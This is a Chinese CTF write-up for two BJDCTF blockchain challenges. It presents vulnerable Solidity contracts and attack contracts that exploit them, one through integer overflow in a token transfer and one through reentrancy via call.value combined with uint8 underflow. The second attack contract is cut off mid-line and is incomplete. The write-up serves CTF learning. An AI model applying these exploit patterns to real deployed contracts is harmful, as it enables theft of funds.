BUUCTF [BJDCTF 2nd] BlockChain智能合约两则 wp

坚固性?!

先给出源码

// solidity
pragma solidity ^0.4.23;
contract Trans{
    
    string flag;
    mapping(address => uint256) balances;
    constructor () public {
    }
    
    function getBalance() public returns (bool){
        balances[msg.sender] = 100;
        return true;
    }
    
    function showBalance() public view returns (uint256){
        return balances[msg.sender];
    }
    
    function Transfer(address[] _addr, uint256 _value) public returns (bool){
        uint times = _addr.length;
        uint256 amount = uint256(times) * _value;
        require(_value > 0 && balances[msg.sender] >= amount);
        require(times > 0 && times < 10);
        balances[msg.sender] -= amount;
        for(uint i = 0; i < times; i++){
            balances[_addr[i]] += _value;
        }
        return true;
    }
    
    function getFlag() public view returns (string){
        require(balances[msg.sender] > 9999999);
        return flag;
    }
}

根据题目要求,我们的目标是要将balances[msg.sender] 达到9999999以上从而获得flag
从中我们可以看到代码段

 uint256 amount = uint256(times) * _value;

在转账操作中,由于times和value都由我们控制,因为并没有对value进行限制,我们可以考虑通过整数溢出达到足够大的数,可以使times为2,value为uint256最大值除2再加一,这样amount结果还是为2,而value却已经使一个相当大的整数了,攻击合约如下

contract hsqGOD{
    address add=0x421DbB4ca0Fdb1872e5780BD95743085357CD7B8;
    Trans target=Trans(add);
    function flag()public view returns (string){
        return target.getFlag();
    }
    function bal(){
        target.getBalance();
    }

    function showBalance()public view returns (uint256){
       return target.showBalance();
    }
    
    function t(address[] _addr, uint256 _value){
        target.Transfer(_addr, _value);
    }
}

我们只需要建立三个合约,一个合约获取100个代币,通过上述操作将钱转给另外两个合约即可

提供暴打出题人服务

这题同样给出了源码

// solidity
pragma solidity ^0.4.23;

contract XiaoMaiBu{
    
    string flag;
    mapping (address => uint256) credit;
    struct good{
        string name;
        uint256 value;
    }
    mapping (uint8 => good) goods;
    mapping (address => mapping(uint8 => uint8))users;
    
    event Transfer(address from, address to, uint256 value);
    
    constructor(){
//        flag = WHAT_YOU_WANT;
        credit[this] = 2 ** 255;
        // Taqini has a lot if money~
    }
    
    function getCredit(address who) public view returns (uint256){
        return credit[who];
    }
    
    function getFlag() public view returns (string){
        if(users[msg.sender][5] >= 1){
            return flag;
        }
        else{
            return "%e7%88%ac%ef%bc%81";
        }
    }
    
    function buy(uint8 index) public returns (bool){
        require(index <= 5 && index >= 0);
        uint256 cost = goods[index].value;
        require(cost > 0);
        require(getCredit(msg.sender) >= cost);
        require(getCredit(msg.sender) - cost >= 0);
        credit[msg.sender] -= cost;
        users[msg.sender][index] += 1;
        return true;
    }
    
    function giveBack(uint8 index) public returns (bool){
        require (index <= 5);
        require (users[msg.sender][index] > 0);
        uint256 price = goods[index].value;
        require (address(this).balance > price);
        if(price > 10000 wei){
            price = 1 wei;
            // 中间商 Taqini 赚差价~
        }
        msg.sender.call.value(1)();
        users[msg.sender][index] --;
        transfer(this, msg.sender, price);
        
    }
    
    function giveAllBack(uint8 index) public returns (bool){
        require (index <= 5);
        uint8 number = users[msg.sender][index];
        require (number > 0);
        require (users[msg.sender][index] - number == 0);
        uint256 amount = goods[index].value * number;
        require (amount >= goods[index].value);
        // 钱都被 Taqini 黑走啦,快去打他!
        users[msg.sender][index] = 0;
        transfer(this, msg.sender, amount);
        
    }
    
    function deposit() public payable returns (bool){
        if(msg.value > 1 ether){
            // 多谢大佬打赏 XD
            return true;
        }
        else{
            require(msg.value == 1 wei);
            require(getCredit(msg.sender) == 0);
            transfer(this, msg.sender, 1);
            return true;
        }
    }
    
    function showGoods(uint8 index) public view returns (string, uint256){
        require(index <= 5);
        return (goods[index].name, goods[index].value);
    }
    
    function getBalance() public view returns (uint256){
        return address(this).balance;
    }
    
    function getMyGood(uint8 index) public view returns (uint8){
        require(index <= 5);
        return users[msg.sender][index];
    }
    
    function transfer(address from, address to, uint256 value) internal returns (bool){
        require(to != address(0x0));
        require(value > 0);
        uint256 oldFromBalance = credit[from];
        uint256 oldToBalance = credit[to];
        uint256 newFromBalance =  credit[from] - value;
        uint256 newToBalance =  credit[to] + value;
        require(oldFromBalance >= value);
        require(newToBalance > oldToBalance);
        credit[from] = newFromBalance;
        credit[to] = newToBalance;
        assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
        emit Transfer(from, to, value);
    }
    
}

这题呢就比较长了,着实像片英语阅读,我们先来分析一下逻辑,我们有这些操作,取一个币,买一个特定商品,卖一个特定商品,卖出全部同一类型商品,然后我们必须要有第五种商品才能获得flag,来看看这种商品的价钱,有点小大好吧,现在来分析一下代码,首先如果你比较熟悉智能合约的话,可以很敏锐的发现这行代码

        msg.sender.call.value(1)();

这行代码的作用很简单,就是给msg.sender转1wei代币,但是它有一个很关键的一点,会调用msg.sender合约的回退函数fallback(),意思就是说我们可以使用重入攻击,对这个想要深入了解的话可以进行百度查询,这里就不详细解释了。就可以通过这样的方式,我们可以自行修改攻击合约的fallback函数,以同样的状态再次进入这个函数,然后我们又发现了下面一行的代码

        users[msg.sender][index] --;

这里同样是没有进行溢出检测,如上题所述的那样,如果本来是0的话,再减1就会变成uint8最大的数,也就是负整数溢出。通过这样的手段,重入攻击加负整数溢出,我们可以将一件商品giveBack(),换成是250多份同样的商品,不断重复这样的手段,最终获得第五份商品,下面给出攻击合约的代码

// An highlighted block
contract hsq{
    XiaoMaiBu target=XiaoMaiBu(0x0435EE06Ae7742f7f421e33220166FC9828e106E);
    address add=0x0435EE06Ae7742f7f421e33220166FC9828e106E;
    uint256 attackCount=0;
    uint256 i=10;
    uint8 num=0;
    function changei(uint256 mmm,uint8 number){
        i=mmm;
        num=number;
        attackCount=0;
    }
    function() payable{
        if(msg.sender==add&&attackCount

记得合约交互的时候,每进行购买下一件商品,需要调整fallback函数的参数,需要调用另外的函数修改。当然这题有点恶心人的就是这里

if(price > 10000 wei){
            price = 1 wei;
            // 中间商 Taqini 赚差价~
        }

这个代码就会使后面每一步都要重复一次,因为一次攻击卖出的钱,被黑了一部分无法直接购买下一件商品了,这就有点想爆锤出题人了

你可能感兴趣的:(BUUCTF,Crypto)